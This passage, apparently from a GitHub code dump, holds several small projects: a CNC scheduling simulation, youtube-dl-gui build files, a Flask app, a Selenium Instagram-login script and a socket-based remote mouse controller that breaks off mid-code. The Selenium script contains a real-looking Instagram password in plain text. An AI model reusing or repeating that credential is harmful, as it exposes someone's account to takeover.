rgv_state==1:\n for i in range(len(list)):\n if list[i]<min and cnc_1_or_2[i]-1==1:\n min=list[i]\n min_num=i+1\n return min_num\n\ndef math(move_1,move_2,move_3,finish_1,finish_21,finish_22,odd_up_down,even_up_down,clean,cnc_1_or_2):\n cnc_state=[0,0,0,0,0,0,0,0]\n cnc_worked=[0,0,0,0,0,0,0,0]\n cnc_1=5\n cnc_2=3\n rgv=1\n rgv_state=0\n finish_num=0\n list={}\n time=0\n while time<8*60*60:\n min_num=min_l(cnc_worked,cnc_1_or_2,rgv_state,cnc_state)\n list[time]=[min_num]\n rgv_this=(min_num+1)//2\n rgv_to_cnc=abs(rgv_this-rgv)\n #move_time\n if rgv_to_cnc:\n move_time=eval('move_'+str(rgv_to_cnc))\n else:\n move_time=0\n\n #up_down_time\n if min_num%2==1:\n up_down_time=odd_up_down\n else:\n up_down_time=even_up_down\n\n if rgv_state==0 and cnc_state[min_num-1]==0:\n rgv_use_time=move_time+cnc_worked[min_num-1]+up_down_time\n list[time].append('↑')\n rgv_state=0\n cnc_state[min_num-1]=1\n add_time=finish_21\n \n elif rgv_state==1 and cnc_state[min_num-1]==0:\n rgv_use_time=move_time+cnc_worked[min_num-1]+up_down_time\n list[time].append('↑')\n rgv_state=0\n cnc_state[min_num-1]=1\n add_time=finish_22\n\n elif rgv_state==0 and cnc_state[min_num-1]==1:\n\n if cnc_1_or_2[min_num-1]==1:\n rgv_use_time=move_time+cnc_worked[min_num-1]+up_down_time\n list[time].append('↑↓')\n rgv_state=1\n cnc_state[min_num-1]=1\n add_time=finish_21\n\n if cnc_1_or_2[min_num-1]==2:\n rgv_use_time=move_time+cnc_worked[min_num-1]+up_down_time+clean\n finish_num+=1\n list[time].append('↓')\n rgv_state=0\n cnc_state[min_num-1]=0\n add_time=0\n\n elif rgv_state==1 and cnc_state[min_num-1]==1:\n rgv_use_time=move_time+cnc_worked[min_num-1]+up_down_time+clean\n finish_num+=1\n list[time].append('↑↓')\n rgv_state=0\n cnc_state[min_num-1]=1\n add_time=finish_22\n\n for i in range(8):\n if cnc_state[i]==1:\n cnc_worked[i]-=rgv_use_time\n if cnc_worked[i]<=0:\n cnc_worked[i]=0\n if i+1==min_num:\n cnc_worked[i]=add_time\n time+=rgv_use_time\n return finish_num,list\n\ndef main(move_1,move_2,move_3,finish_1,finish_21,finish_22,odd_up_down,even_up_down,clean):\n max=0\n li=[]\n for i in range(256):\n cnc_1_or_2=[]\n s=str(bin(i))[2:]\n cha=8-len(s)\n c=''\n for i in range(cha):\n c+='0'\n s=c+s\n for i in range(8):\n if s[i]=='0':\n cnc_1_or_2.append(1)\n else:\n cnc_1_or_2.append(2)\n finish_num,test=math(move_1,move_2,move_3,finish_1,finish_21,finish_22,odd_up_down,even_up_down,clean,cnc_1_or_2)\n if finish_num>max:\n max=finish_num\n li=test\n cn=cnc_1_or_2\n d={}\n print(max)\n print(cn)\n #print(li)\n\nif __name__=='__main__':\n main(20,33,46,560,400,378,28,31,25)\n main(23,41,59,580,280,500,30,35,30)\n main(18,32,46,545,455,182,27,32,25)" }, { "alpha_fraction": 0.4402412176132202, "alphanum_fraction": 0.492324560880661, "avg_line_length": 30.45689582824707, "blob_id": "9f42a8259c8d4ce1d12b912266f22f837d2029ce", "content_id": "0b47c676f1c3335e3afd9d07012e498fd8d8dd5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3648, "license_type": "no_license", "max_line_length": 164, "num_lines": 116, "path": "/B_2018支撑材料/math1.py", "repo_name": "3039625598/2018-", "src_encoding": "UTF-8", "text": "import xlrd\nfrom xlutils.copy import copy\ndef min_l(list):\n min=list[0]\n min_num=1\n for i in range(len(list)):\n if list[i]<min:\n min=list[i]\n min_num=i+1\n return min_num\nimport random\ndef math(move_1,move_2,move_3,finish_1,finish_21,finish_22,odd_up_down,even_up_down,clean,table):\n rgv_cnc_l=[odd_up_down, even_up_down, odd_up_down+move_1, even_up_down+move_1, odd_up_down+move_2, even_up_down+move_2, odd_up_down+move_3, even_up_down+move_3]\n cnc_state=[0,0,0,0,0,0,0,0]\n rgv=1\n time=0\n n=0\n list_map=[]\n dict_up={}\n dict_down={}\n time_list=[]\n down_num=0\n b=[]\n trouble=[]\n while time<8*60*60:\n min_num=min_l(rgv_cnc_l)\n if rgv_cnc_l[min_num-1]!=0:\n n=rgv_cnc_l[min_num-1]\n if n>clean:\n clean=0\n else:\n clean-=n\n for i in range(8):\n rgv_cnc_l[i]-=n\n time+=n\n continue\n rgv_this=(min_num+1)//2\n rgv_to_cnc=abs(rgv_this-rgv)\n if rgv_to_cnc==0:\n use_time=0\n else:\n use_time=eval('move_'+str(rgv_to_cnc))\n for i in range(8):\n if rgv-(i+2)//2==0:\n change=0\n else:\n change=eval('move_'+str(abs((i+2)//2-rgv)))\n rgv_cnc_l[i]-=change\n for i in range(8):\n if (i+2)//2-rgv_this==0:\n change=0\n else:\n change=eval('move_'+str(abs((i+2)//2-rgv_this)))\n rgv_cnc_l[i]+=change\n \n if min_num%2:\n up_down_time=odd_up_down\n else:\n up_down_time=even_up_down\n if cnc_state[min_num-1]:\n cnc_use_time=up_down_time+clean\n dict_up[time+use_time]=min_num\n dict_down[time+use_time]=min_num\n down_num+=1\n else:\n cnc_use_time=up_down_time\n dict_up[time+use_time]=min_num\n rgv_cnc_l[min_num-1]+=finish_1\n for i in range(8):\n if i!=min_num-1 and cnc_state[i]:\n rgv_cnc_l[i]-=cnc_use_time\n \n for i in range(8):\n if (i+2)//2-rgv_this==0:\n change=0\n else:\n change=eval('move_'+str(abs((i+2)//2-rgv_this)))\n if rgv_cnc_l[i]<change:\n rgv_cnc_l[i]=change\n\n rgv=rgv_this\n cnc_state[min_num-1]=1\n time+=use_time+cnc_use_time\n list_map.append(min_num)\n time_list.append(time)\n d={}\n for i in range(down_num):\n n_cnc=list(dict_up.values())[i]\n n_up_time=list(dict_up.keys())[i]\n for j in range(len(dict_down.values())):\n if list(dict_down.values())[j]==n_cnc:\n n_down_time=list(dict_down.keys())[j]\n del dict_down[n_down_time]\n break\n d[i+1]=[n_cnc,n_up_time,n_down_time]\n print(down_num)\n xl1=xlrd.open_workbook('Case_1_result.xls')\n xl2=copy(xl1)\n sheet=xl2.get_sheet(table-1)\n for i in range(2,len(d)+2):\n sheet.write(i-1,0,i-1)\n sheet.write(i-1,1,d[i-1][0])\n sheet.write(i-1,2,d[i-1][1])\n sheet.write(i-1,3,d[i-1][2])\n sheet1=xl2.get_sheet(table-1)\n for i in range(2,len(trouble)+2):\n sheet1.write(i-1,0,trouble[i-2][0])\n sheet1.write(i-1,1,trouble[i-2][1])\n sheet1.write(i-1,2,trouble[i-2][2])\n sheet1.write(i-1,3,trouble[i-2][3])\n xl2.save('Case_1_result.xls')\n \nif __name__=='__main__':\n math(20,33,46,560,400,378,28,31,25,1)\n math(23,41,59,580,280,500,30,35,30,2)\n math(18,32,46,545,455,182,27,32,25,3)" } ]
2
parkroy/royblog
https://github.com/parkroy/royblog
0e0b6c4ee97b85d7dca07e6aef5923f713c11c71
ceb6048757ef3a2fcec49a5345af5080a49b9c38
ea924e6a0578f67b583898a9e87f9e172f74dd6f
refs/heads/master
2022-12-14T05:36:56.950030
2019-07-26T09:58:11
2019-07-26T09:58:11
197,318,822
0
0
MIT
2019-07-17T05:06:34
2019-07-26T09:58:29
2022-12-04T03:25:58
CSS
[ { "alpha_fraction": 0.6988416910171509, "alphanum_fraction": 0.7046331763267517, "avg_line_length": 27.77777862548828, "blob_id": "0c479c7407cb2a3d0dd0e9ea56892b29dca0925e", "content_id": "765df595c0e0ec1abb32293ee0a510ed77ef571a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 518, "license_type": "permissive", "max_line_length": 95, "num_lines": 18, "path": "/core/views.py", "repo_name": "parkroy/royblog", "src_encoding": "UTF-8", "text": "from flask import render_template,request,Blueprint\nfrom royblog.models import BlogPost\n\ncore = Blueprint('core',__name__)\n\[email protected]('/')\ndef index():\n page = request.args.get('page', 1, type=int)\n blog_posts = BlogPost.query.order_by(BlogPost.date.desc()).paginate(page=page, per_page=10)\n return render_template('home.html',blog_posts=blog_posts)\n\[email protected]('/info')\ndef info():\n return render_template('info.html')\n\[email protected]('/contact')\ndef contact():\n return render_template('contact.html')\n" }, { "alpha_fraction": 0.5350058078765869, "alphanum_fraction": 0.5443407297134399, "avg_line_length": 37.95454406738281, "blob_id": "8a222b46e0dfe294950a3f4856c7a9d7492def56", "content_id": "49b988ef57121b486b87d17848f66e4d5e7f95cf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1776, "license_type": "permissive", "max_line_length": 129, "num_lines": 44, "path": "/templates/home.html", "repo_name": "parkroy/royblog", "src_encoding": "UTF-8", "text": "{% extends \"base.html\" %}\n{% block contents %}\n<div class=\"ui text container\">\n\n\n\n\n<h2 class=\"ui center aligned header\">\n <p>Hi ! I'm Roy Park</p>\n</h2>\n\n<div class=\"ui center aligned container\">\n <img src=\"../static/img/royface.png\" width=\"120px\" class=\"royface\">\n <br><br>\n</div>\n<h4><p>안녕하세요, 저는 박지현입니다.</p></h4>\n <div class=\"ui right sidebar\">sdf</div>\n</div>\n\n\n {% for post in blog_posts.items %}\n {#블로그포스ㅡ인데, 아이데에 맞는 포스트만 !#}\n <h2><a class=\"card-title\" href=\" {{ url_for('blog_posts.blog_post', blog_post_id=post.id) }}\">{{ post.title }}</a></h2>\n {#<a href=\"{{ url_for('users.user_posts', username=post.author.username) }}\">Written By: {{ post.author.username }}</a>#}\n Written By: {{ post.author.username }}\n {#<p>Published on: {{ post.date.strftime('%Y-%m-%d') }}</p>#}\n <p class=\"card-text\">{{ post.text[:100] }}...</p>\n <a href=\"{{ url_for('blog_posts.blog_post', blog_post_id=post.id) }}\" class=\"btn btn-primary\">Read Blog Post</a>\n {% endfor %}\n\n <nav aria-label=\"Page navigation example\">\n <ul class=\"pagination justify-content-center\">\n {% for page_num in blog_posts.iter_pages(left_edge=1, right_edge=1, left_current=1, right_current=2) %}\n {% if blog_posts.page == page_num %}\n <li class=\"page-item disabled\">\n <a class=\"page-link\" href=\"{{ url_for('core.index', page=page_num) }}\">{{ page_num }}</a></li>\n </li>\n {% else %}\n <li class=\"page-item\"><a class=\"page-link\" href=\"{{ url_for('core.index', page=page_num) }}\">{{ page_num }}</a></li>\n {% endif %}\n {% endfor %}\n </nav>\n\n{% endblock contents %}\n" } ]
2
urantialife/youtube-dl-gui
https://github.com/urantialife/youtube-dl-gui
c0eea66361ecaa4a3f43545f98c7dfa643e081a3
7186913d7a8b5534e7e3979647511e9391fad3fc
8188eeb64f8a6fcbb3e6bb43e1631e7a68f3dc2c
refs/heads/master
2022-11-30T02:03:12.072439
2020-07-28T22:53:44
2020-07-28T22:53:44
283,604,901
1
0
Unlicense
2020-07-29T21:21:17
2020-07-29T05:18:31
2020-07-28T22:55:31
null
[ { "alpha_fraction": 0.5463876724243164, "alphanum_fraction": 0.5530990958213806, "avg_line_length": 28.031518936157227, "blob_id": "f412085784e8b5bb2c2206715c306a514bbc4fea", "content_id": "7f49d97d527a055639d7dee15467cb23fbfb03ac", "detected_licenses": [ "LicenseRef-scancode-public-domain", "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10132, "license_type": "permissive", "max_line_length": 110, "num_lines": 349, "path": "/setup.py", "repo_name": "urantialife/youtube-dl-gui", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"Youtube-dlg setup file.\n\nExamples:\n Windows/Linux::\n\n python setup.py pyinstaller\n\n Linux::\n\n python setup.py install\n\n Build source distribution::\n\n python setup.py sdist\n\n Build platform distribution::\n\n python setup.py bdist\n\n Build the translations::\n\n python setup.py build_trans\n\n Build with updates disabled::\n\n python setup.py no_updates\n\n\n Basic steps of the setup::\n\n * Run pre-build tasks\n * Call setup handler based on OS & options\n * Set up hicolor icons (if supported by platform)\n * Set up fallback pixmaps icon (if supported by platform)\n * Set up package level pixmaps icons (*.png)\n * Set up package level i18n files (*.mo)\n * Set up scripts (executables) (if supported by platform)\n * Run setup\n\n\"\"\"\n\nimport glob\nimport os\nimport sys\nfrom setuptools import setup, Command\nfrom distutils import log\nfrom distutils.spawn import spawn\nimport time\n\nimport polib\n\n\n__packagename__ = \"youtube_dl_gui\"\n\nPYINSTALLER = len(sys.argv) >= 2 and sys.argv[1] == \"pyinstaller\"\n\ntry:\n from PyInstaller import compat as pyi_compat\n\n if pyi_compat.is_win:\n # noinspection PyUnresolvedReferences\n from PyInstaller.utils.win32.versioninfo import (\n VarStruct, VarFileInfo, StringStruct, StringTable,\n StringFileInfo, FixedFileInfo, VSVersionInfo, SetVersion,\n )\nexcept ImportError:\n pyi_compat = None\n if PYINSTALLER:\n print(\"Cannot import pyinstaller\", file=sys.stderr)\n exit(1)\n\n# Get the version from youtube_dl_gui/version.py without importing the package\nexec(compile(open(__packagename__+\"/version.py\").read(), __packagename__+\"/version.py\", \"exec\"))\n# Get the info from youtube_dl_gui/info.py without importing the package\nexec(compile(open(__packagename__+\"/info.py\").read(), __packagename__+\"/info.py\", \"exec\"))\n\nDESCRIPTION = __description__\nLONG_DESCRIPTION = __descriptionfull__\n\n\ndef on_windows():\n \"\"\"Returns True if OS is Windows.\"\"\"\n return os.name == \"nt\"\n\n\ndef version2tuple(commit=0):\n version_list = str(__version__).split(\".\")\n if len(version_list) > 3:\n _commit = int(version_list[3])\n del version_list[3]\n else:\n _commit = commit\n\n _year, _month, _day = [int(value) for value in version_list]\n return _year, _month, _day, _commit\n\n\ndef version2str(commit=0):\n version_tuple = version2tuple(commit)\n return \"%s.%s.%s.%s\" % version_tuple\n\n\n# noinspection PyAttributeOutsideInit,PyArgumentList\nclass BuildTranslations(Command):\n description = \"Build the translation files\"\n user_options = []\n\n def initialize_options(self):\n self.search_pattern = None\n\n def finalize_options(self):\n self.search_pattern = os.path.join(__packagename__, \"locale\", \"*\", \"LC_MESSAGES\", \"youtube_dl_gui.po\")\n\n def run(self):\n po_file = \"\"\n\n try:\n for po_file in glob.glob(self.search_pattern):\n mo_file = po_file.replace('.po', '.mo')\n po = polib.pofile(po_file)\n\n log.info(\"Building MO file for '{}'\".format(po_file))\n po.save_as_mofile(mo_file)\n except IOError:\n log.error(\"Error process locate file '{}', exiting...\".format(po_file))\n sys.exit(1)\n\n\n# noinspection PyAttributeOutsideInit,PyArgumentList\nclass BuildNoUpdate(Command):\n description = \"Build with updates disabled\"\n user_options = []\n\n def initialize_options(self):\n self.build_lib = os.path.dirname(os.path.abspath(__file__))\n\n def finalize_options(self):\n pass\n\n def run(self):\n self.__disable_updates()\n\n def __disable_updates(self):\n lib_dir = os.path.join(self.build_lib, __packagename__)\n target_file = \"optionsmanager.py\"\n # Options file should be available from previous build commands\n optionsfile = os.path.join(lib_dir, target_file)\n\n with open(optionsfile, \"r\") as input_file:\n data = input_file.readlines()\n\n if data is None:\n log.error(\"Building with updates disabled failed!\")\n sys.exit(1)\n\n for index, line in enumerate(data):\n if \"'disable_update': False\" in line:\n log.info(\"Disabling updates...\")\n data[index] = line.replace(\"False\", \"True\")\n break\n\n with open(optionsfile, \"w\") as output_file:\n output_file.writelines(data)\n\n\nclass BuildPyinstallerBin(Command):\n description = \"Build the executable\"\n user_options = []\n version_file = None\n if pyi_compat and pyi_compat.is_win:\n version_file = VSVersionInfo(\n ffi=FixedFileInfo(\n filevers=version2tuple(),\n prodvers=version2tuple(),\n mask=0x3F,\n flags=0x0,\n OS=0x4,\n fileType=0x1,\n subtype=0x0,\n date=(0, 0),\n ),\n kids=[\n VarFileInfo([VarStruct(\"Translation\", [0, 1200])]),\n StringFileInfo(\n [\n StringTable(\n \"000004b0\",\n [\n StringStruct(\"CompanyName\", __maintainer_contact__),\n StringStruct(\"FileDescription\", DESCRIPTION),\n StringStruct(\"FileVersion\", version2str()),\n StringStruct(\"InternalName\", \"youtube-dl-gui.exe\"),\n StringStruct(\n \"LegalCopyright\",\n __projecturl__ + \"LICENSE\",\n ),\n StringStruct(\"OriginalFilename\", \"youtube-dl-gui.exe\"),\n StringStruct(\"ProductName\", __appname__),\n StringStruct(\"ProductVersion\", version2str()),\n ],\n )\n ]\n ),\n ],\n )\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n def run(self, version=version_file):\n \"\"\"Run pyinstaller\"\"\"\n if on_windows():\n path_sep = \";\"\n else:\n path_sep = \":\"\n \n spawn(\n [\n \"pyinstaller\",\n \"-w\",\n \"-F\",\n \"--icon=\"+__packagename__+\"/data/pixmaps/youtube-dl-gui.ico\",\n \"--add-data=\"+__packagename__+\"/data\"+path_sep+__packagename__+\"/data\",\n \"--add-data=\"+__packagename__+\"/locale\"+path_sep+__packagename__+\"/locale\",\n \"--exclude-module=tests\",\n \"--name=youtube-dl-gui\",\n \"\"+__packagename__+\"/__main__.py\",\n ],\n dry_run=self.dry_run)\n\n if version:\n time.sleep(3)\n SetVersion(\"./dist/youtube-dl-gui.exe\", version)\n\n\npyinstaller_console = [\n {\n \"script\": \"./\"+__packagename__+\"/__main__.py\",\n \"dest_base\": __packagename__,\n \"version\": __version__,\n \"description\": DESCRIPTION,\n \"comments\": LONG_DESCRIPTION,\n \"product_name\": __appname__,\n \"product_version\": __version__,\n }\n]\n\ncmdclass = {\n \"build_trans\": BuildTranslations,\n \"no_updates\": BuildNoUpdate,\n}\n\n\ndef setup_linux():\n \"\"\"Setup params for Linux\"\"\"\n data_files_linux = []\n # Add hicolor icons\n for path in glob.glob(\"youtube_dl_gui/data/icons/hicolor/*x*\"):\n size = os.path.basename(path)\n\n dst = \"share/icons/hicolor/{size}/apps\".format(size=size)\n src = \"{icon_path}/apps/youtube-dl-gui.png\".format(icon_path=path)\n\n data_files_linux.append((dst, [src]))\n # Add fallback icon, see issue #14\n data_files_linux.append(\n (\"share/pixmaps\", [\"youtube_dl_gui/data/pixmaps/youtube-dl-gui.png\"])\n )\n # Add man page\n data_files_linux.append(\n (\"share/man/man1\", [\"youtube-dl-gui.1\"])\n )\n # Add pixmaps icons (*.png) & i18n files\n package_data_linux = {__packagename__: [\n \"data/pixmaps/*.png\",\n \"locale/*/LC_MESSAGES/*.mo\"\n ]}\n setup_params = {\n \"data_files\": data_files_linux,\n \"package_data\": package_data_linux,\n }\n\n return setup_params\n\n\ndef setup_windows():\n \"\"\"Setup params for Windows\"\"\"\n package_data_windows = {__packagename__: [\n \"data\\\\pixmaps\\\\*.png\",\n \"locale\\\\*\\\\LC_MESSAGES\\\\*.mo\"\n ]}\n # Add pixmaps icons (*.png) & i18n files\n setup_params = {\n \"package_data\": package_data_windows,\n }\n\n return setup_params\n\n\nparams = dict()\n\nif PYINSTALLER:\n cmdclass.update({\"pyinstaller\": BuildPyinstallerBin})\nelse:\n if on_windows():\n params = setup_windows()\n else:\n params = setup_linux()\n\n params[\"entry_points\"] = {\n \"console_scripts\": [\"youtube-dl-gui = \" + __packagename__ + \":main\"]\n }\n\n\nsetup(\n name=__packagename__,\n version=__version__,\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n url=__projecturl__,\n author=__author__,\n author_email=__contact__,\n maintainer=__maintainer__,\n maintainer_email=__maintainer_contact__,\n license=__license__,\n packages=[__packagename__],\n classifiers=[\n \"Topic :: Multimedia :: Video :: User Interfaces\",\n \"Development Status :: 5 - Production/Stable\",\n \"Environment :: MacOS X :: Cocoa\",\n \"Environment :: Win32 (MS Windows)\",\n \"Environment :: X11 Applications :: GTK\",\n \"License :: Public Domain\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.4\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: Implementation\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n ],\n cmdclass=cmdclass,\n **params\n)\n" }, { "alpha_fraction": 0.7268862724304199, "alphanum_fraction": 0.7401700615882874, "avg_line_length": 35.19230651855469, "blob_id": "137f3629ebfa9a15c1a8762fad72fa4fdb97f670", "content_id": "358ec8d0acafd027fd6c87c1c155d1dc1ec5390f", "detected_licenses": [ "LicenseRef-scancode-public-domain", "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1882, "license_type": "permissive", "max_line_length": 203, "num_lines": 52, "path": "/README.md", "repo_name": "urantialife/youtube-dl-gui", "src_encoding": "UTF-8", "text": "# youtube-dlG\nA cross platform front-end GUI of the popular [youtube-dl](https://rg3.github.io/youtube-dl/) media downloader written in wxPython. [Supported sites](https://rg3.github.io/youtube-dl/supportedsites.html)\n\n## Screenshots\n![youtube-dl-gui main window](https://raw.githubusercontent.com/MrS0m30n3/youtube-dl-gui/gh-pages/images/ydlg_ui.gif)\n\n## Requirements\n* [Python 3](https://www.python.org/downloads)\n* [wxPython Phoenix 4](https://wxpython.org/download.php)\n* [TwoDict](https://pypi.python.org/pypi/twodict)\n* [FFmpeg](https://ffmpeg.org/download.html) (optional, to postprocess video files)\n\n### Requirement for build Binaries/Executables\n* [PyInstaller](https://www.pyinstaller.org/)\n\n### Optionals\n* [GNU gettext](https://www.gnu.org/software/gettext/)\n\n## Downloads\n* [Source (.zip)](https://github.com/oleksis/youtube-dl-gui/archive/v1.0.0-alpha.zip)\n* [Source (.tar.gz)](https://github.com/oleksis/youtube-dl-gui/archive/v1.0.0-alpha.tar.gz)\n\n## Installation\n\n### Install From Source\n1. Download & extract the source\n2. Change directory into *youtube-dl-gui-1.0.0-alpha*\n3. Run `pip install -r requirements.txt`\n4. Run `python setup.py build_trans`\n5. Run `python setup.py install`\n\n## Binaries\nCreate binaries using [PyInstaller](https://www.pyinstaller.org/)\n1. Run `pip install -r requirements.txt`\n2. Run `python setup.py build_trans`\n3. Run `python setup.py pyinstaller`\n\n## Contributing\n* **Add support for new language:** See [localization howto](docs/localization_howto.md)\n* **Report a bug:** See [issues](https://github.com/oleksis/youtube-dl-gui/issues)\n\n## Authors\nSee [AUTHORS](AUTHORS) file\n\n## License\nThe [Public Domain License](LICENSE)\n\n## Frequently Asked Questions\nSee [FAQs](docs/faqs.md) file\n\n## Thanks\nThanks to everyone who contributed to this project and to [@philipzae](https://github.com/philipzae) for designing the new UI layout.\n" }, { "alpha_fraction": 0.5270270109176636, "alphanum_fraction": 0.7027027010917664, "avg_line_length": 14, "blob_id": "436a8bf9648d806c7858c5f1eb31417fa392bb06", "content_id": "6a5155152fcaf3b981a598db1f57654745220c62", "detected_licenses": [ "LicenseRef-scancode-public-domain", "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 74, "license_type": "permissive", "max_line_length": 16, "num_lines": 5, "path": "/requirements.txt", "repo_name": "urantialife/youtube-dl-gui", "src_encoding": "UTF-8", "text": "Pypubsub==4.0.3\ntwodict==1.2\nwxPython==4.0.4\npyinstaller==3.6\npolib==1.1.0" } ]
3
tylerwools79/robotDemo
https://github.com/tylerwools79/robotDemo
e9c6e31deaee1634ac5359bdbd9795e33b33c323
e137bc6e8599e8d11b07db44785aadf70758c6c6
28eb47b5ab983bb7f7d4ca14d40acfdb26fa142c
refs/heads/main
2023-02-26T05:07:43.579220
2021-01-27T16:19:53
2021-01-27T16:19:53
333,184,566
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8717948794364929, "alphanum_fraction": 0.8717948794364929, "avg_line_length": 39, "blob_id": "0d47d663adb3fde61bef40cc26961acc5440aa1e", "content_id": "9c6238a35126994e9b85ca593c8f663e1d9fc557", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 39, "license_type": "no_license", "max_line_length": 39, "num_lines": 1, "path": "/README.md", "repo_name": "tylerwools79/robotDemo", "src_encoding": "UTF-8", "text": "My demo environment for robot framework" }, { "alpha_fraction": 0.5762711763381958, "alphanum_fraction": 0.5830508470535278, "avg_line_length": 18.733333587646484, "blob_id": "9e0d125deb977d16753715bd61421a64ddd5183b", "content_id": "dba802d16477dd756c0ce13ef9bda97392daff7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 295, "license_type": "no_license", "max_line_length": 25, "num_lines": 15, "path": "/myCustomLib.py", "repo_name": "tylerwools79/robotDemo", "src_encoding": "UTF-8", "text": "def helloWorld():\n return \"Hello World!\"\ndef squareNum(x):\n return int(x)*int(x)\ndef doubleNum(x):\n return int(x)+int(x)\ndef halveNum(x):\n return int(x)/2\ndef sqrt(x):\n return int(x)**.5\ndef isEqual(a,b):\n if int(a) == int(b):\n return True\n else:\n return False" } ]
2
GA1/flask-vs-nginx
https://github.com/GA1/flask-vs-nginx
b62dd8833ea5c0f024ca36d164d625eb2620778c
b487fb614ee8fb21480b3db3e632e470dc65fd38
450facba2c1f882c44ff5648711b9fe75049b40b
refs/heads/master
2020-09-24T12:41:58.799409
2016-09-04T19:21:53
2016-09-04T19:21:53
67,360,965
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5802469253540039, "alphanum_fraction": 0.6131687164306641, "avg_line_length": 23.299999237060547, "blob_id": "126fc5d0a51942b298ffdb6ab43c1c0764657ef8", "content_id": "44acacf17e961eddc35bf95ef48c210d0c2250dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 243, "license_type": "no_license", "max_line_length": 48, "num_lines": 10, "path": "/app.py", "repo_name": "GA1/flask-vs-nginx", "src_encoding": "UTF-8", "text": "from flask import Flask\napp = Flask(__name__, static_url_path='/static')\n\[email protected]('/')\ndef getMainPage():\n return app.send_static_file('index.html')\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='0.0.0.0', port=5000)\n" } ]
1
5l1v3r1/InstaLog-1
https://github.com/5l1v3r1/InstaLog-1
289e776235a4a8f54e7a1051fd8d74568a5ed250
d5d27feae15d77de7791b1ee648c69951aca9790
5dacd7119d788d87aa59cd32a88beb3f9b66c206
refs/heads/master
2023-07-13T13:37:23.518311
2021-06-20T16:40:23
2021-06-20T16:40:23
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6935483813285828, "alphanum_fraction": 0.7232597470283508, "avg_line_length": 44.346153259277344, "blob_id": "507133f927cdbb078dcd27ed69c212363e6f9259", "content_id": "3dae3bb8e6491e10f27005c1d8798666bd9205c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1178, "license_type": "no_license", "max_line_length": 139, "num_lines": 26, "path": "/main.py", "repo_name": "5l1v3r1/InstaLog-1", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom time import sleep\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://instagram.com\")\nsleep(2)\nemail_box = driver.find_element_by_xpath('/html/body/div[1]/section/main/article/div[2]/div[1]/div/form/div/div[1]/div/label/input')\nemail_box.send_keys(\"[email protected]\")\nsleep(2)\npass_box = driver.find_element_by_xpath('/html/body/div[1]/section/main/article/div[2]/div[1]/div/form/div/div[2]/div/label/input')\npass_box.send_keys(\"IIT9700PILOT\")\nsleep(2)\nlogin_button = driver.find_element_by_xpath('/html/body/div[1]/section/main/article/div[2]/div[1]/div/form/div/div[3]/button')\nlogin_button.click()\nsleep(5)\nlogin_info = driver.find_element_by_xpath('/html/body/div[1]/section/main/div/div/div/div/button')\nlogin_info.click()\nsleep(5)\nnotify = driver.find_element_by_xpath('/html/body/div[4]/div/div/div/div[3]/button[2]')\nnotify.click()\nsleep(2)\nprofile_pic = driver.find_element_by_xpath('/html/body/div[1]/section/nav/div[2]/div/div/div[3]/div/div[5]/span/img')\nprofile_pic.click()\nsleep(2)\nprofile_drop = driver.find_element_by_xpath('/html/body/div[1]/section/nav/div[2]/div/div/div[3]/div/div[5]/div[2]/div[2]/div[2]/a[1]/div')\nprofile_drop.click()" } ]
1
sudnyeshtalekar/Air-Mouse
https://github.com/sudnyeshtalekar/Air-Mouse
dd51c74471a7f09d27b71a3d5feab65570a8abd3
17aac5eaf94bf0509c7c0959f8086897fdf9f9a7
71336205e6f4c65d8747f0b491e72af291f95c51
refs/heads/master
2022-08-17T17:30:43.241719
2019-12-08T20:19:37
2019-12-08T20:19:37
226,725,649
17
0
null
2019-12-08T20:16:33
2021-02-07T17:55:07
2022-07-06T20:24:59
Python
[ { "alpha_fraction": 0.4835318922996521, "alphanum_fraction": 0.5024526715278625, "avg_line_length": 21.360654830932617, "blob_id": "efcbfbf5fc308a557c715f88f6aea3967b1e06f3", "content_id": "05330ebafa5d2d45a9cf53a493b851500ca67e4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1427, "license_type": "no_license", "max_line_length": 59, "num_lines": 61, "path": "/AirMouse_touch.py", "repo_name": "sudnyeshtalekar/Air-Mouse", "src_encoding": "UTF-8", "text": "import socket\r\nimport time\r\nfrom pynput.mouse import Button,Controller\r\nimport re\r\n\r\n\r\nmouse = Controller()\r\n\r\ns = socket.socket() # Create a socket object\r\nhost = '192.168.43.173' #your ip address\r\nport = 5555\r\ns.bind((host, port))\r\n\r\n\r\npattern_click = r\"n([\\w]+)'\"\r\npattern_cursor =r\"X=([\\b\\w\\D\\.]+)'\"\r\npattern_X = r\"X=([\\d]+)\"\r\npattern_Y = r\"Y=([\\d]+)\"\r\n\r\n\r\n\r\ndef mouse_Action():\r\n match = re.search(pattern_click,str(url))\r\n if match:\r\n print(match.group())\r\n if \"Right\" in match.group():\r\n mouse.click(Button.right)\r\n\r\n elif \"Left\" in match.group():\r\n mouse.click(Button.left)\r\n\r\n\r\n #Cursor\r\n match2 = re.search(pattern_cursor,str(url))\r\n if match2:\r\n matchx = re.search(pattern_X,match2.group())\r\n if 